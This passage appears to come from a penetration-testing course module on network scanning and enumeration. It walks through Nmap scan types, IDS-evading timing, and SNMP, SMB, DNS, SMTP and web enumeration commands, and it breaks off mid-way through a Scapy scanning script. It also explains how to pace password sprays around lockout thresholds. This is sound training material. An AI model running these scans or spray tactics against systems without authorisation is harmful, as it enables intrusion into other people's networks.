NTP on port 123 (Network Time Protocol) runs on virtually every networked device. NTP vulnerabilities are occasionally critical (notably NTP amplification attacks in DDoS contexts) but more relevantly, the NTP monlist command on older implementations can dump a list of the last 600 hosts that synchronized time with the server — effectively a list of active network hosts.

TFTP on port 69 (Trivial File Transfer Protocol) is used for network device configuration backups and OS image transfers. It has no authentication mechanism whatsoever. Finding a TFTP server during a penetration test is almost always a critical finding — TFTP servers frequently contain configuration backups of routers and switches, including their complete configurations with password hashes.

The FIN Scan (-sF), NULL Scan (-sN), and Xmas Scan (-sX) — RFC Exploitation

These three scan types belong to a family sometimes called "stealth scans" or "flag manipulation scans." To understand why they exist and what they do, you need to understand RFC 793 — the original specification for TCP published in 1981.

RFC 793 defines how a TCP implementation should respond when it receives a packet that does not match any existing connection. The rule is:

If a port is closed and receives any packet that does not have the RST flag set, the receiving system should send back a RST packet.

If a port is open and receives a packet that does not have the SYN flag set (meaning it is not a legitimate connection initiation), the packet should simply be discarded — ignored entirely. The rationale is that a packet arriving at an open port without being part of a valid connection sequence is malformed or out of order, and the correct behavior is to ignore it.

The FIN, NULL, and Xmas scans exploit this asymmetry. They send packets that have no valid role in a normal TCP connection to a closed port, they should get an RST back. To an open port, they should get nothing — the packet is discarded.

The FIN scan sends a TCP packet with only the FIN flag set. Normally, FIN is sent to close an established connection. Sending FIN to a port with no established connection is technically illegal under TCP semantics.

The NULL scan sends a TCP packet with no flags set at all — every flag bit is zero. This is the most illegal of all, since no valid TCP packet has all flags empty.

The Xmas scan sends a TCP packet with FIN, PSH (Push), and URG (Urgent) all set simultaneously. The name comes from the image of a packet "lit up like a Christmas tree" with flags.

The critical limitation: Microsoft Windows does not implement RFC 793's behavior for these anomalous packets. Windows sends RST in response to FIN, NULL, and Xmas probes regardless of whether the port is open or closed. This means these three scan types are fundamentally non-functional against Windows targets — every port appears closed. Against Linux, Unix, and BSD targets, they work as described.

The practical value of these scans today is primarily in two scenarios. First, they can bypass very simple, stateless packet filters that only look for SYN packets as the indicator of new connections — a filter that blocks SYN packets might pass a FIN or NULL packet right through. Second, in certain compliance or forensic contexts, they provide evidence about a firewall's stateless versus stateful nature.

The ACK Scan (-sA) — Not for Finding Open Ports

The ACK scan is fundamentally different from everything discussed so far. It does not tell you whether ports are open or closed. Instead, it tells you which ports are filtered versus unfiltered — mapping the firewall's ruleset.

When you send a TCP packet with only the ACK flag set to a target, you are sending a packet that looks like it belongs to an already-established connection. The target knows nothing about an existing connection, so it would normally respond with RST to both open and closed ports — because an unexpected ACK from an unknown connection should be rejected.

A firewall is the variable. If a stateful firewall sees an ACK packet for a connection it has no record of, it drops the packet. If no firewall (or a stateless firewall) is in the path, the ACK reaches the host and gets a RST back.

So: RST response means unfiltered. No response means filtered.

By comparing SYN scan results (which ports are open) with ACK scan results (which ports are filtered), you can map the firewall's behavior precisely. A port that is open in the SYN scan but filtered in the ACK scan suggests a stateful firewall that tracks connections. A port that is filtered in both suggests a firewall blocking everything on that port. A port that is open in the SYN scan and unfiltered in the ACK scan suggests no firewall filtering on that port.

This intelligence is used for firewall evasion strategy — specifically, it reveals whether a stateless or stateful firewall is in use and which ports are controlled by firewall rules versus host-based filtering.

The Host Discovery Scan (-sn) — Finding Who Is Home

Before scanning ports on every IP in a /16 network (65,534 addresses), you need to know which of those addresses actually have live devices. The host discovery scan — run with the -sn flag — does exactly this: it determines which IP addresses have responding hosts without performing any port scanning.

On a local network (where the scanner and targets are on the same subnet), Nmap uses ARP (Address Resolution Protocol) requests when run as root. ARP operates at Layer 2 of the network model — below IP, below TCP, at the Ethernet level. An ARP request asks: "Which device on this local network has this IP address? Please tell me your MAC address."

ARP requests bypass host-based firewalls entirely. A host running Windows Firewall with all rules set to block incoming connections still must respond to ARP requests — otherwise it cannot communicate on the network at all. If you are on the same subnet as your targets, ARP-based host discovery is essentially immune to firewall evasion attempts.

The additional bonus: ARP responses include the target's MAC address, and the first three bytes of a MAC address are the OUI (Organizationally Unique Identifier) — a vendor code assigned by the IEEE. This means an ARP scan result tells you not just that a host is live, but what type of device it likely is. A MAC starting with 00:50:56 indicates a VMware virtual machine. B8:27:EB indicates a Raspberry Pi. 3C:D9:2B indicates an HP device. This vendor identification is immediate intelligence about the nature of the discovered hosts.

On a remote network (targets are across a router), ARP does not work — it is a local network protocol. Instead, Nmap uses a combination of techniques: ICMP echo requests (traditional ping), TCP SYN to port 443, TCP ACK to port 80, and ICMP timestamp requests. The logic is that even if a host blocks ICMP ping, it might respond to TCP connections on common ports. Using multiple probe types maximizes the probability of detecting live hosts even through partial filtering.

In a professional engagement, host discovery is run first with speed prioritized — using parallel probes and fast timeouts. The output (a list of live IPs) is saved to a file, which then becomes the input for full port scanning.

The Idle Scan (-sI) — True Anonymity in Port Scanning

The Idle scan is one of the most sophisticated techniques in network security research. It allows a penetration tester to scan a target without the target ever seeing the scanner's IP address. Instead, all probes appear to originate from a third, unrelated host — called the "zombie."

The technique relies on a subtle property of IP packets: each IP packet contains an ID field (IPID) — a number that is incremented for each packet a host sends. On some systems, particularly older ones, this counter increments predictably and globally — every packet the system sends, regardless of destination, increments the counter by one.

The attack works as follows. First, the scanner sends a probe to the zombie to learn its current IPID value. Then, the scanner sends a SYN packet to the target but spoofs the source address — making it look like the packet came from the zombie. If the target port is open, it sends a SYN-ACK back to the zombie (thinking the zombie initiated the connection). The zombie, receiving an unexpected SYN-ACK, sends a RST back to the target — and increments its IPID counter. When the scanner checks the zombie's IPID again, it has gone up by two (once for the scanner's initial probe, once for the zombie's RST to the target). If the target port is closed, it sends RST to the zombie, the zombie ignores it, and the IPID only increases by one.

The scanner never sends a single packet to the target from its own IP address. From the target's logs, only the zombie's IP appears. This technique is described in detail in Phrack Magazine and was a fundamental advance in network security research — it demonstrated that port scanning could be completely anonymous given the right conditions.

Modern operating systems no longer use globally sequential IPIDs (they use per-connection sequences or random values), which makes finding suitable zombie hosts increasingly difficult. The technique remains important to understand because it illustrates a deep principle: protocol properties that appear benign in isolation can be exploited in combination to achieve something their designers never intended.

Timing Options (-T0 through -T5) — Speed, Stealth, and the Art of the Tradeoff

Every penetration test involves a fundamental tension between speed and stealth. Scanning quickly means generating traffic rapidly, which means security devices can detect a clear pattern. Scanning slowly means staying below detection thresholds but taking potentially days or weeks to complete.

Nmap's timing templates are a high-level abstraction over a complex set of parameters that control how quickly probes are sent, how long to wait for responses, and how many probes to send in parallel.

Paranoid (-T0) sends one probe every five minutes. To scan a thousand ports at this speed takes over three days. No time-based correlation system — no SIEM, no IDS — can detect this as a scan because the packets are so spread out in time that they appear to be normal, sporadic traffic. This is used in extraordinarily sensitive engagements where detection must be avoided at all costs, or in research contexts where patience is available.

Sneaky (-T1) sends one probe every fifteen seconds. Still very slow, still effective at evading most time-based detection. A thousand-port scan takes around four hours.

Polite (-T2) slows down enough to avoid saturating the target network with probe traffic. It is more about being considerate of network bandwidth than about evasion. Useful when scanning production environments where causing network slowdowns would be noticed as operational disruption rather than security events.

Normal (-T3) is Nmap's default. It dynamically adjusts timing based on observed network conditions — if responses are coming back quickly, it sends probes faster; if there are timeouts, it slows down. A typical LAN scan completes in tens of seconds to a few minutes.

Aggressive (-T4) assumes a fast, reliable network. It shortens timeouts and increases parallelism significantly. This is the timing most commonly used in internal network assessments on LAN environments, CTF competitions, and lab environments where speed matters and stealth is not a concern.

Insane (-T5) pushes everything to the limit. Timeouts are extremely short, parallelism is maximized. The risk is that on slower or congested networks, probes time out before responses arrive, leading to ports being classified as filtered when they are actually open. Results from T5 scans should be verified with a slower timing setting if unusual results appear.

In a real engagement, the timing selection communicates something about the tester's strategy. External tests against a production web application might use T1 or T2 to stay under intrusion detection thresholds. Internal tests on a fast corporate LAN typically use T3 or T4. Red team engagements simulating advanced persistent threats use T0 or T1 during initial reconnaissance phases.

OS Detection, Version Detection, and the NSE — Completing the Picture

Beyond scan types, three additional Nmap capabilities deserve deep understanding because they transform raw port data into actionable intelligence.

Service and Version Detection (-sV) sends protocol-specific probes to each open port and compares the responses against a database of known service signatures. Instead of just knowing that port 8080 is open, version detection tells you it is running Apache Tomcat 9.0.37. That specific version number is then searchable against vulnerability databases — and Tomcat 9.0.37 happens to be vulnerable to CVE-2021-41079, a denial-of-service vulnerability. The jump from "port 8080 is open" to "this specific Tomcat version has a known CVE" happens because of version detection.

OS Detection (-O) works by analyzing subtle differences in how different operating systems implement TCP/IP. The initial sequence number (ISN) values that systems generate, the TCP options they include in packets, their response to unusual flag combinations, their IP TTL values, and their behavior with fragmented packets all vary between Windows, Linux, macOS, Cisco IOS, and other systems. Nmap maintains a database of these behavioral fingerprints. When it probes a host, it compares the observed behavior to the database and identifies the most likely OS — often with remarkable specificity, identifying not just "Linux" but "Linux 4.15-5.6" or not just "Windows" but "Windows 10 1903-1909."

The Nmap Scripting Engine (NSE) extends Nmap from a port scanner into a security assessment platform. Scripts are Lua programs that Nmap executes against discovered services. The default script set (-sC) runs safe, commonly useful scripts automatically. More targeted scripts can check for specific vulnerabilities: the smb-vuln-ms17-010 script checks whether a target is vulnerable to EternalBlue (the exploit used by WannaCry and NotPetya). The ssl-heartbleed script checks for the Heartbleed vulnerability. The snmp-brute script attempts to determine the SNMP community string using a wordlist.

3.2.3 Practice — Nmap in a Real Engagement Context

How a Real Scan Sequence Looks

In a professional engagement against a network like Pixel Paradise's, the scanning methodology follows a logical sequence that builds intelligence progressively.

You start with host discovery across the entire in-scope IP range. This tells you which addresses are live and what their MAC vendor identifiers are — giving immediate clues about device types. A block of addresses all resolving to VMware MAC prefixes suggests a virtualization environment. Cisco MAC addresses suggest network equipment. Raspberry Pi or unknown vendors might indicate IoT devices.

With the live host list in hand, you run an initial fast scan of the most common ports against all live hosts simultaneously. The goal is to get a broad overview quickly — which hosts are running web services, which are running Windows file sharing, which have SSH. This is typically a SYN scan of the top 1000 ports with version detection enabled.

For hosts that look particularly interesting based on the initial scan, you run a full port scan of all 65,535 TCP ports. This takes longer but ensures you do not miss services running on non-standard ports — a web application on port 8080, a database on port 5984, an administrative interface on port 9090.

Parallel to the TCP full scan, you run a targeted UDP scan of the most important UDP ports — 53, 67, 69, 123, 161, 162, 500, 514, and a few others depending on the environment. In a corporate network, SNMP is almost always present; whether it is secured is the question.

Finally, for each discovered service, you run targeted Nmap scripts and manual enumeration tools to extract detailed intelligence. A host with SMB open gets enum4linux run against it. A host with SNMP open gets snmpwalk. A host with a web server gets nikto and gobuster.

Nmap Commands in Professional Context

When running these scans, the commands follow patterns that you will use repeatedly throughout your career.

For initial host discovery across a network range, the command sends ARP requests on the local network and ICMP/TCP probes to remote networks, storing results to a file that subsequent scans use as input. The key options ensure no reverse DNS lookups slow things down (the -n flag tells Nmap not to bother converting IP addresses to hostnames during discovery, since we just need to know which hosts are alive).

For the initial broad port scan with service detection, the options combine a SYN scan (-sS) with service version detection (-sV) and the default NSE scripts (-sC). The output goes to all three formats simultaneously (-oA) so you have both human-readable results and machine-parseable XML for later processing.

For the full TCP port scan, the critical option is -p- which tells Nmap to scan all 65535 ports rather than just the top 1000. This takes longer but is essential for comprehensive coverage.

For UDP, the approach is to limit the scope to high-value ports and combine with version detection so Nmap sends protocol-specific probes rather than generic UDP packets — this dramatically improves accuracy.

# 1. Host Discovery
sudo nmap -sn -n 10.10.10.0/24 -oG live_hosts.gnmap
grep "Up" live_hosts.gnmap | awk '{print $2}' > live_hosts.txt

# 2. Initial Broad Scan (top 1000 ports + version + default scripts)
sudo nmap -sS -sV -sC -n --open -iL live_hosts.txt -oA initial_scan

# 3. Full TCP Port Scan (all 65535 ports)
sudo nmap -sS -p- -n -T4 --open -iL live_hosts.txt -oA full_tcp_scan

# 4. Targeted UDP Scan (key UDP services)
sudo nmap -sU -p 53,67,69,123,161,162,500,514,1900 -sV -n -iL live_hosts.txt -oA udp_scan

# 5. OS Detection (against confirmed live hosts)
sudo nmap -O -n -iL live_hosts.txt -oA os_detection

# 6. Comprehensive single-host scan (for high-interest targets)
sudo nmap -sS -sV -sC -O -p- -T4 --open --reason -n 10.10.10.50 -oA host_50_full

Reading Nmap Output — What the Results Tell You

When Nmap reports its findings, each piece of information carries specific intelligence. An open port 22 running OpenSSH 7.4 on an internal server means that SSH is accessible, and OpenSSH 7.4 is a version released in 2016 — cross-referencing against the CVE database reveals multiple vulnerabilities including CVE-2018-15919 (username enumeration) and CVE-2016-6515 (denial of service). Neither might be immediately exploitable, but the version date tells you the server has not been patched in years — which implies other services on this host are similarly outdated.

An open port 3389 (RDP) visible on the network from an external perspective is almost always a critical finding. RDP has been the vector for numerous high-impact attacks including BlueKeep (CVE-2019-0708) and DejaBlue (CVE-2019-1182). Even if these specific vulnerabilities are patched, RDP brute force and credential stuffing attacks remain highly effective.

A host running both SMB (port 445) and an old Windows version detected by OS fingerprinting is a potential EternalBlue target — the vulnerability at the core of WannaCry and NotPetya. Nmap's smb-vuln-ms17-010 script confirms this in seconds.

3.2.4 Types of Enumeration — Extracting Intelligence from Open Ports

The Difference Between Scanning and Enumeration

Port scanning tells you a door is open. Enumeration tells you what is behind that door, who has the keys, and what the security system looks like. It is the transition from reconnaissance to pre-exploitation intelligence gathering.

When you find port 445 open (SMB), you know Windows file sharing is running. Enumeration tells you the list of shared folders, the list of user accounts on the system, the domain it belongs to, the password policy (how complex passwords must be, how many failed attempts trigger a lockout), and whether guest access is allowed. This is not abstract security information — it is the specific intelligence needed to decide which attack approach to take.

Banner Grabbing — The Simplest Form of Enumeration

The simplest enumeration technique is banner grabbing. When most network services accept a new connection, they announce themselves by sending a text string identifying the software and its version. This string is called a "banner."

Imagine walking into a hotel and the receptionist says "Welcome to the Grand Hotel, this is Janet speaking." You have just learned where you are and who you are dealing with. Banner grabbing is the network equivalent — you connect to a service and it tells you who it is.

FTP (File Transfer Protocol, port 21) is particularly generous with information: connecting to an FTP server typically produces a response like 220 vsftpd 3.0.3 — directly revealing the software (vsftpd) and version (3.0.3). SSH servers send their version in the initial handshake: SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.5 reveals not just OpenSSH 8.2p1 but the Ubuntu package version, which allows identification of the exact Ubuntu distribution and patch level.

HTTP servers include version information in the Server header of their responses: Server: Apache/2.4.41 (Ubuntu) or Server: Microsoft-IIS/10.0. The X-Powered-By header often adds a second layer: X-Powered-By: PHP/7.4.3.

Security-conscious server administrators often configure their services to remove or falsify these banners. Apache can be configured to report Server: Apache without the version, or even Server: Unknown. Nginx can be configured to send no Server header at all. This is security through obscurity — it does not fix any vulnerability, but it removes one easy source of information for attackers.

Even with falsified banners, though, the specific behavior of a service — which features it supports, how it formats error messages, the timing of its responses — often reveals the real software and version. Nmap's version detection database is built around these behavioral signatures, not just banner strings.

# The simplest banner grab — using netcat
nc -v target 21      # FTP — listen for the banner it sends immediately
nc -v target 22      # SSH — listen for the SSH identification string
nc -v target 25      # SMTP — listen for the SMTP greeting

# For HTTP, you need to send a request before getting a response
echo -e "HEAD / HTTP/1.0\r\n\r\n" | nc target 80

# OpenSSL for HTTPS — shows both the TLS handshake details and the HTTP response
openssl s_client -connect target:443 -quiet

# curl is often the most practical for HTTP/HTTPS banner grabbing
# -I means "send HEAD request and show only headers"
# -k means "do not verify SSL certificate" (useful for self-signed certs)
curl -I http://target
curl -I -k https://target

SNMP Enumeration — The Network's Open Book

SNMP deserves extensive discussion because it represents one of the most impactful enumeration findings possible. A single SNMP-enabled device with the default "public" community string can hand you a complete map of the internal network.

SNMP is a protocol designed for network management. It works on a simple query-response model: a management station sends queries to devices asking for specific pieces of management information, and the devices respond with that information. The information is organized in a hierarchical database called the Management Information Base (MIB).

The security model in SNMP versions 1 and 2c (the versions still predominantly in use) is embarrassingly simple: a shared password called a "community string." The read-only community string (almost universally "public" by default) allows any device that knows it to query any information the MIB exposes. The read-write community string ("private" by default) allows not just querying but modifying device configuration.

What can SNMP expose on a network device? Everything. The system description (device model, firmware version), the hostname, the list of all network interfaces and their IP addresses, the routing table (revealing network architecture), the ARP table (revealing every IP-to-MAC mapping the device has seen — effectively a list of all hosts on connected networks), the list of open TCP and UDP connections, BGP and OSPF neighbor information, interface bandwidth utilization, and error statistics.

On a server, SNMP exposes the complete list of running processes (including their command-line arguments, which sometimes include passwords), the list of installed software with version numbers, network connection state (equivalent to running netstat), and system performance data.

Finding SNMP open with default community strings on a core router during a penetration test is a major finding. It means the router's entire configuration is readable — including ACLs, routing policies, and potentially credentials stored in the configuration. If the read-write community string is also the default "private," the router can be reconfigured entirely without ever exploiting a single software vulnerability.

# First, confirm SNMP is running and find the community string
# onesixtyone is a fast SNMP community string brute forcer
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt 10.10.10.50

# snmpwalk traverses the entire MIB tree under a given OID
# .1 is the root of the entire MIB tree — this walks everything
snmpwalk -v2c -c public 10.10.10.50 .1

# Target specific, high-value MIB branches:

# System information — hostname, OS description, contact, location
snmpwalk -v2c -c public 10.10.10.50 system

# All network interfaces and their IP addresses
snmpwalk -v2c -c public 10.10.10.50 interfaces
snmpwalk -v2c -c public 10.10.10.50 ipAddrTable

# ARP table — every IP-to-MAC the device has seen
snmpwalk -v2c -c public 10.10.10.50 ipNetToMediaTable

# Routing table — network topology
snmpwalk -v2c -c public 10.10.10.50 ipRouteTable

# Running processes (on servers)
snmpwalk -v2c -c public 10.10.10.50 hrSWRunName

# Installed software (on servers)
snmpwalk -v2c -c public 10.10.10.50 hrSWInstalledName

# snmp-check provides a much more readable formatted output
snmp-check -t 10.10.10.50 -c public -v 2c

SMB Enumeration — Windows Network Intelligence

SMB (Server Message Block) is the protocol Microsoft Windows uses for file sharing, printer sharing, and various inter-process communication functions. It has been central to Windows networking since the 1980s and remains the backbone of virtually every Windows enterprise environment today.

From a penetration testing perspective, SMB is one of the richest sources of intelligence on a Windows network — and also one of the most historically vulnerable protocols. EternalBlue, the exploit used by WannaCry ransomware in 2017, targeted SMB. Before that, MS08-067 (the "Conficker" vulnerability from 2008) also exploited SMB. Understanding SMB enumeration is fundamental to Windows network penetration testing.

What can SMB enumeration reveal? It starts with basic network information: the hostname of the target, the domain or workgroup it belongs to, and the operating system version. It then extends to the security configuration: whether null sessions are allowed (connecting without credentials), whether the Guest account is enabled, and the password policy (minimum length, complexity requirements, lockout threshold).

The password policy is particularly important. If the account lockout threshold is 5 (five failed attempts before lockout), you can attempt 4 passwords per account without triggering a lockout. If the lockout threshold is 0 (no lockout), you can attempt unlimited passwords. If the lockout observation window is 30 minutes (attempts reset every 30 minutes), you can attempt 4 passwords now, wait 30 minutes, attempt 4 more, and continue indefinitely. This intelligence directly determines the viability and strategy of password spray attacks.

SMB enumeration also reveals the list of shared folders. Shares with names ending in $ are "hidden" shares — they do not appear when browsing the network — but they are visible through enumeration. The default administrative shares C$, D$, ADMIN$, and IPC$ are present on every Windows machine. Access to ADMIN$ allows file upload to the Windows directory. Access to C$ allows reading and writing the entire C drive.

# enum4linux is the standard SMB enumeration tool for Linux
# -a performs a full enumeration (all options)
enum4linux -a 10.10.10.50

# What enum4linux tries to find:
# Workgroup/domain name
# NetBIOS hostname  
# OS version
# SMB shares (including hidden $ shares)
# User accounts
# Group memberships
# Password policy
# Printer information

# enum4linux-ng is the modern rewrite with better output formatting
enum4linux-ng -A 10.10.10.50

# smbclient lists shares — equivalent to "Network Places" in Windows
# The -L flag means "list shares"
# The // means "connect to this server"
# The -N flag means "no password" (null session)
smbclient -L //10.10.10.50 -N

# smbmap shows shares and your permission level on each
smbmap -H 10.10.10.50                          # Anonymous/null session
smbmap -H 10.10.10.50 -u john -p Password123  # Authenticated

# Nmap SMB scripts for specific intelligence gathering
nmap --script smb-enum-shares 10.10.10.50
nmap --script smb-enum-users 10.10.10.50
nmap --script smb-security-mode 10.10.10.50
nmap --script smb-vuln-ms17-010 10.10.10.50   # Check for EternalBlue
nmap --script "smb-vuln-*" 10.10.10.50        # All SMB vulnerability checks

DNS Enumeration (Active)

While passive DNS reconnaissance (covered in Section 3.1) uses third-party services to look up DNS records without touching the target's DNS servers, active DNS enumeration directly queries the target's DNS infrastructure.

The most impactful active DNS technique is the zone transfer — requesting that the target's DNS server send you its complete zone file. A DNS zone file contains every DNS record for a domain: every A record (hostname to IP mapping), every CNAME (alias), every MX (mail server), every TXT record, and every SRV record. A successful zone transfer is equivalent to getting a complete inventory of every named resource in the organization's DNS namespace.

Zone transfers are supposed to be restricted to authorized secondary DNS servers — the secondary servers that need to synchronize zone data from the primary. Misconfigured DNS servers allow zone transfer requests from any IP address, which means a penetration tester can retrieve the entire DNS database in seconds.

In practice, allowing unrestricted zone transfers is a recognized security misconfiguration that gets flagged in security assessments. Many organizations have corrected this. But it is always worth attempting, because the payoff of a successful zone transfer — an instant, complete inventory of the organization's DNS namespace — is significant.

Beyond zone transfers, active DNS enumeration includes brute force subdomain discovery (systematically querying the DNS server with a list of common subdomain names to find which ones resolve) and DNS walking for DNSSEC-enabled zones (which exposes the complete list of records in a zone through the NSEC record chain).

# Zone transfer attempt — always try this first
dig axfr targetco.com @ns1.targetco.com

# If zone transfer fails, brute force subdomains
# gobuster's DNS mode sends DNS queries for each word in the wordlist
gobuster dns -d targetco.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -r 8.8.8.8

# dnsrecon is a comprehensive DNS enumeration tool
# -t std runs standard enumeration (SOA, NS, A, AAAA, MX, TXT, SRV)
# -t axfr attempts zone transfer
# -t brt brute forces subdomains
dnsrecon -d targetco.com -t std
dnsrecon -d targetco.com -t axfr
dnsrecon -d targetco.com -t brt -D /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

# fierce does DNS reconnaissance specifically looking for network ranges
fierce --domain targetco.com

SMTP Enumeration — Verifying Email Accounts

SMTP (Simple Mail Transfer Protocol) is the protocol email servers use to send mail. Some SMTP servers support commands that allow querying whether a user account exists — functionality originally designed for legitimate purposes but now primarily used by spammers (to verify email lists) and penetration testers (to enumerate valid accounts for phishing or credential attacks).

The VRFY command asks the SMTP server to verify whether an email address or username is valid. A server responds with "250 OK" if the user exists or "550 No such user" if they do not.

The EXPN command expands a mailing list alias — asking the server to tell you all the email addresses that receive mail sent to a given alias. For example, EXPN all-staff@targetco.com might reveal dozens of individual employee email addresses.

The RCPT TO command is the most reliable verification method because it is part of normal mail delivery. An SMTP server must accept or reject each recipient address during mail delivery. Sending a test delivery attempt to RCPT TO: john.smith@targetco.com and observing whether the server accepts or rejects it reveals whether the account exists — even on servers that have disabled VRFY and EXPN.

Modern mail servers have largely disabled VRFY and EXPN for security reasons. But many older or poorly configured servers still respond. And the RCPT TO technique remains functional on many servers.

# Manual SMTP enumeration using netcat
# Connect to the SMTP server
nc -v target 25

# Once connected, you will see the SMTP banner (e.g., "220 mail.targetco.com ESMTP")
# Type these commands:
EHLO test.com                          # Introduce yourself, see supported commands
VRFY john.smith                        # Check if user exists
EXPN marketing                         # Expand a mailing list
QUIT                                   # Close connection

# smtp-user-enum automates this process across a user list
# -M VRFY specifies the method
# -U specifies the username file
# -t specifies the target
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Names/names.txt -t target
smtp-user-enum -M RCPT -U users.txt -D targetco.com -t target

# Nmap scripts for SMTP
nmap --script smtp-commands target     # List supported SMTP commands
nmap --script smtp-enum-users target   # Enumerate users
nmap --script smtp-open-relay target   # Check for open relay (allows anyone to send mail through this server)

HTTP and Web Service Enumeration

Web services are almost always present in modern penetration testing engagements — even networks that appear to be primarily Windows file sharing environments typically have some web-based management interface. Web service enumeration extends from basic banner grabbing into directory discovery, technology identification, and vulnerability scanning.

Directory and file brute forcing is the process of systematically requesting paths on a web server to discover hidden or unlisted content. A web application might have an administrative interface at /admin/, a backup file at /backup.zip, an API documentation page at /api/v2/docs, or a test file left by a developer at /test.php. None of these paths are linked from the main site — but they exist and are accessible. Directory brute forcing finds them.

The wordlists used for directory brute forcing are critical. SecLists — a curated collection of security-relevant wordlists maintained on GitHub — contains directory wordlists with hundreds of thousands of entries derived from real web applications and historical assessments. The most commonly used are the directory-list files in the /Discovery/Web-Content/ category.

Technology identification determines what CMS (Content Management System), framework, and programming language the web application uses. A WordPress site (identifiable by the /wp-content/, /wp-admin/, and /wp-login.php paths, as well as the ?p= parameter pattern in URLs) has a completely different vulnerability surface than a Laravel PHP application or a React+Node.js application. Tools like WhatWeb and the Wappalyzer browser extension analyze HTTP response headers, HTML structure, JavaScript includes, and cookie names to identify the technology stack with impressive accuracy.

Nikto is a web vulnerability scanner specifically designed for finding known issues in web server configurations. It checks for thousands of potentially dangerous files and programs, outdated server software, and configuration issues like directory listing being enabled, server headers exposing sensitive information, and missing security headers.

# Directory and file discovery — gobuster is the industry standard
# dir mode = directory/file brute forcing
# -u = target URL
# -w = wordlist
# -x = file extensions to check (appends these to each wordlist entry)
# -b = HTTP status codes to filter out (404 is the default not-found code)
gobuster dir -u http://10.10.10.50 \
             -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
             -x php,html,txt,bak,conf,xml \
             -b 404,403

# ffuf (Fuzz Faster U Fool) is faster and more flexible
# FUZZ is the placeholder for the wordlist value
ffuf -u http://10.10.10.50/FUZZ \
     -w /usr/share/seclists/Discovery/Web-Content/common.txt \
     -fc 404

# Technology identification
whatweb -v http://10.10.10.50      # -v for verbose output

# Nikto web vulnerability scanner
nikto -h http://10.10.10.50
nikto -h https://10.10.10.50 -ssl
nikto -h http://10.10.10.50 -o nikto_results.html -Format html

# Always manually check these files on every web server:
curl http://10.10.10.50/robots.txt          # Intentionally hidden paths
curl http://10.10.10.50/sitemap.xml         # Full site URL map
curl http://10.10.10.50/.well-known/security.txt  # Security contact info
curl -I http://10.10.10.50/                # Response headers reveal server info

3.2.5 Enumeration via Packet Crafting with Scapy

Why Scapy Matters Beyond Nmap

Nmap is a remarkable tool, but it is also a fixed tool — it sends predetermined probe sequences and interprets responses according to built-in logic. Scapy is the opposite: it is a Python library for constructing any network packet from scratch, at any layer, with any values in any field.

Think of Nmap as a Swiss Army knife — it has many tools, all expertly crafted for common tasks. Think of Scapy as a metalworking shop where you have raw steel and every tool imaginable — you can build any knife you want, including ones that have never existed before.

This matters for several reasons. Sometimes you need to test how a target responds to a specific, unusual packet — a packet with specific flag combinations, a specific sequence number, a malformed header. Nmap cannot send that. Scapy can. Sometimes you need to test a proprietary protocol that Nmap knows nothing about. Scapy can craft packets for any protocol you understand well enough to implement. Sometimes you need to automate a complex multi-packet interaction — send a packet, receive a response, make a decision based on the response, send a different packet based on that decision. Scapy can do this in Python.

For penetration testing enumeration specifically, Scapy is valuable for:

Implementing custom port scanning logic — for example, a SYN scan that sends probes at precisely calculated time intervals to evade timing-based IDS detection, adjusting the interval based on observed response patterns.

Building custom protocol interaction — if you discover a service running on an unusual port and need to speak its protocol, Scapy lets you construct and send the exact protocol-specific packets needed.

Testing firewall behavior — by crafting packets with specific, unusual combinations of flags, TTL values, or fragmentation patterns, you can probe exactly how a firewall processes different packet types.

Implementing attacks from academic research — security research papers frequently describe attacks in terms of specific packet sequences. Implementing these in Scapy is often the fastest path to a working proof-of-concept.

How Scapy Thinks About Packets

Scapy represents network packets as stacked objects, each representing one layer of the network model. The / operator stacks layers together, with lower layers on the left and higher layers on the right.

# This is how you think about a typical HTTPS request packet:
# Layer 2 (Ethernet) / Layer 3 (IP) / Layer 4 (TCP) / Application data
Ether() / IP() / TCP() / Raw("GET / HTTP/1.0\r\n\r\n")

# You can start at any layer — if you are routing (not on local LAN),
# you do not need Ethernet:
IP() / TCP()

# If you want to test ARP (purely local network):
Ether() / ARP()

# For ICMP ping:
IP() / ICMP()

Within each layer, every field has a default value, but you can override any field. The IP layer defaults to a TTL of 64, but you can change it. The TCP layer defaults to SYN flags, but you can set any combination of flags. You can set incorrect checksums to test how a target handles malformed packets. You can set impossible values to test bounds checking.

This level of control is what makes Scapy invaluable for advanced security testing and research — it treats the network protocol as what it actually is: a structured set of fields that can be set to any value.

Scapy in Enumeration Context

For the purposes of this module, Scapy is used in enumeration to supplement Nmap with custom probes. The most common use cases are:

Custom SYN scanning with fine-grained control. Nmap's SYN scan is excellent, but Scapy lets you control every aspect of the probe — the source port, the exact sequence number, the TCP window size, the timing between probes. This is useful when you need to craft probes that look like specific legitimate traffic to bypass application-layer inspection.

ARP scanning for local network host discovery. On a local LAN segment, sending ARP requests is the most reliable host discovery technique. Scapy makes it easy to build custom ARP scanning logic.

OS fingerprinting. Different operating systems respond differently to unusual packets. By crafting specific probe packets and analyzing the responses with Scapy, you can build a fingerprinting system tailored to your specific needs.

Protocol fuzzing. Sending packets with slightly malformed values to discover how a service handles invalid input — the foundation of fuzzing-based vulnerability discovery.

from scapy.all import *

# ARP Scan — Find all live hosts on the local network
# This sends an ARP broadcast to the entire subnet
# ARP cannot be blocked by host firewalls — it works at the Ethernet level
def arp_scan(network_range):
    # Ether(dst="ff:ff:ff:ff:ff:ff") = broadcast MAC (send to everyone)
    # ARP(pdst=network_range) = "Who has IP address X? Tell me your MAC"
    arp_request = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=network_range)

    # srp() = Send and Receive at the Ethernet (Packet) level
    # timeout=3 = wait 3 seconds for responses
    # verbose=False = suppress output (we handle display ourselves)
    answered, unanswered = srp(arp_request, timeout=3, verbose=False)

    live_hosts = []
    for sent_packet, received_packet in answered:
        ip = received_packet[ARP].psrc       # Source IP from ARP reply
        mac = received_packet[Ether].src     # Source MAC from Ethernet header
        live_hosts.append({'ip': ip, 'mac': mac})
        print(f"[+] {ip:<20} {mac}")

    return live_hosts

hosts = arp_scan("192.168.1.0/24")


# Custom SYN Scan — Port discovery with full control over probe construction
def syn_scan(target_ip, port_list):
    open_ports = []

    for port in port_list:
        # Construct the SYN packet
